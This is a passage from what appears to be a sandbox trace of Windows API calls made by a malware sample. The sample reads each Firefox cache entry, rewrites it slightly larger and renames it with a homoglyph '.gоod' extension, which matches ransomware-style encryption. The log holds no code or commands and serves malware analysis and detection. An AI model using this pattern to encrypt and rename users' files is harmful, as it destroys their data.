"c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\150eb071d854d5071a223eeb0639b4597c92fb45.gоod")) returned 1 [0237.785] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312", lpFilePart=0x0) returned 0x7f [0237.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0237.785] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\152707bf9d0e3d40ee384f6696e826a52171e312"), fInfoLevelId=0x0, lpFileInformation=0x37bec80 | out: lpFileInformation=0x37bec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455c940b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x455c940b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x455c940b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x409)) returned 1 [0237.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0237.785] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312", lpFilePart=0x0) returned 0x7f [0237.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0237.785] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\152707bf9d0e3d40ee384f6696e826a52171e312"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0237.786] GetFileType (hFile=0x85c) returned 0x1 [0237.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0237.786] GetFileType (hFile=0x85c) returned 0x1 [0237.786] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x409 [0237.786] ReadFile (in: hFile=0x85c, lpBuffer=0x37bf488, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x37bf488*, lpNumberOfBytesRead=0x1fbeb028*=0x409, lpOverlapped=0x0) returned 1 [0237.787] CloseHandle (hObject=0x85c) returned 1 [0237.937] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312", lpFilePart=0x0) returned 0x7f [0237.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0237.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\152707bf9d0e3d40ee384f6696e826a52171e312"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0237.938] GetFileType (hFile=0x828) returned 0x1 [0237.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0237.939] GetFileType (hFile=0x828) returned 0x1 [0237.939] WriteFile (in: hFile=0x828, lpBuffer=0x3724f68*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3724f68*, lpNumberOfBytesWritten=0x1fbeaf38*=0x410, lpOverlapped=0x0) returned 1 [0237.940] CloseHandle (hObject=0x828) returned 1 [0237.940] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312", lpFilePart=0x0) returned 0x7f [0237.940] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312.gоod", lpFilePart=0x0) returned 0x84 [0237.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0237.940] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\152707bf9d0e3d40ee384f6696e826a52171e312"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455c940b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x455c940b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8a09b935, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x410)) returned 1 [0237.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0237.940] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\152707bf9d0e3d40ee384f6696e826a52171e312"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\152707bf9d0e3d40ee384f6696e826a52171e312.gоod")) returned 1 [0237.941] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA", lpFilePart=0x0) returned 0x7f [0237.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0237.941] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\156a5ccbef01c060effe6f1f2fe07786a115fbea"), fInfoLevelId=0x0, lpFileInformation=0x3726308 | out: lpFileInformation=0x3726308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6b94c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1d6b94c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e74078, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xa98)) returned 1 [0237.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0237.941] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA", lpFilePart=0x0) returned 0x7f [0237.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0237.941] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\156a5ccbef01c060effe6f1f2fe07786a115fbea"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0237.941] GetFileType (hFile=0x828) returned 0x1 [0237.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0237.941] GetFileType (hFile=0x828) returned 0x1 [0237.941] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0xa98 [0237.942] ReadFile (in: hFile=0x828, lpBuffer=0x3727198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3727198*, lpNumberOfBytesRead=0x1fbeb028*=0xa98, lpOverlapped=0x0) returned 1 [0237.943] CloseHandle (hObject=0x828) returned 1 [0238.715] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA", lpFilePart=0x0) returned 0x7f [0238.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0238.715] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\156a5ccbef01c060effe6f1f2fe07786a115fbea"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0238.716] GetFileType (hFile=0x860) returned 0x1 [0238.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0238.716] GetFileType (hFile=0x860) returned 0x1 [0238.716] WriteFile (in: hFile=0x860, lpBuffer=0x36e26e8*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x36e26e8*, lpNumberOfBytesWritten=0x1fbeaf38*=0xaa0, lpOverlapped=0x0) returned 1 [0238.717] CloseHandle (hObject=0x860) returned 1 [0238.717] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA", lpFilePart=0x0) returned 0x7f [0238.717] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA.gоod", lpFilePart=0x0) returned 0x84 [0238.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0238.717] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\156a5ccbef01c060effe6f1f2fe07786a115fbea"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6b94c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1d6b94c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8a80f3b9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xaa0)) returned 1 [0238.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0238.718] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\156a5ccbef01c060effe6f1f2fe07786a115fbea"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\156a5ccbef01c060effe6f1f2fe07786a115fbea.gоod")) returned 1 [0238.718] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9", lpFilePart=0x0) returned 0x7f [0238.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0238.719] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\15fffe7d2cc5dac5c541f0d5acc7d8bca673bbd9"), fInfoLevelId=0x0, lpFileInformation=0x36e3a88 | out: lpFileInformation=0x36e3a88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8ac315, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8ac315, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8ac315, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xea0)) returned 1 [0238.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0238.719] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9", lpFilePart=0x0) returned 0x7f [0238.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0238.719] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\15fffe7d2cc5dac5c541f0d5acc7d8bca673bbd9"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0238.719] GetFileType (hFile=0x860) returned 0x1 [0238.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0238.719] GetFileType (hFile=0x860) returned 0x1 [0238.719] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0xea0 [0238.719] ReadFile (in: hFile=0x860, lpBuffer=0x36e4d20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x36e4d20*, lpNumberOfBytesRead=0x1fbeb028*=0xea0, lpOverlapped=0x0) returned 1 [0238.811] CloseHandle (hObject=0x860) returned 1 [0238.837] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9", lpFilePart=0x0) returned 0x7f [0238.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0238.837] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\15fffe7d2cc5dac5c541f0d5acc7d8bca673bbd9"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0238.839] GetFileType (hFile=0x860) returned 0x1 [0238.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0238.839] GetFileType (hFile=0x860) returned 0x1 [0238.839] WriteFile (in: hFile=0x860, lpBuffer=0x3837478*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3837478*, lpNumberOfBytesWritten=0x1fbeaf38*=0xeb0, lpOverlapped=0x0) returned 1 [0238.840] CloseHandle (hObject=0x860) returned 1 [0238.840] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9", lpFilePart=0x0) returned 0x7f [0238.840] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9.gоod", lpFilePart=0x0) returned 0x84 [0238.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0238.840] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\15fffe7d2cc5dac5c541f0d5acc7d8bca673bbd9"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8ac315, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8ac315, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a91a232, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xeb0)) returned 1 [0238.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0238.840] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\15fffe7d2cc5dac5c541f0d5acc7d8bca673bbd9"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\15fffe7d2cc5dac5c541f0d5acc7d8bca673bbd9.gоod")) returned 1 [0238.842] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644", lpFilePart=0x0) returned 0x7f [0238.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0238.842] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1600a1e0f302711ace755c1f40e790a8a4071644"), fInfoLevelId=0x0, lpFileInformation=0x3838818 | out: lpFileInformation=0x3838818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a98146, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a98146, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4aa1d97, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4d4)) returned 1 [0238.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0238.843] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644", lpFilePart=0x0) returned 0x7f [0238.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0238.843] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1600a1e0f302711ace755c1f40e790a8a4071644"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0238.843] GetFileType (hFile=0x860) returned 0x1 [0238.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0238.843] GetFileType (hFile=0x860) returned 0x1 [0238.843] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x4d4 [0238.843] ReadFile (in: hFile=0x860, lpBuffer=0x38390e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x38390e8*, lpNumberOfBytesRead=0x1fbeb028*=0x4d4, lpOverlapped=0x0) returned 1 [0239.678] CloseHandle (hObject=0x860) returned 1 [0241.077] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644", nBufferLength=0x105, 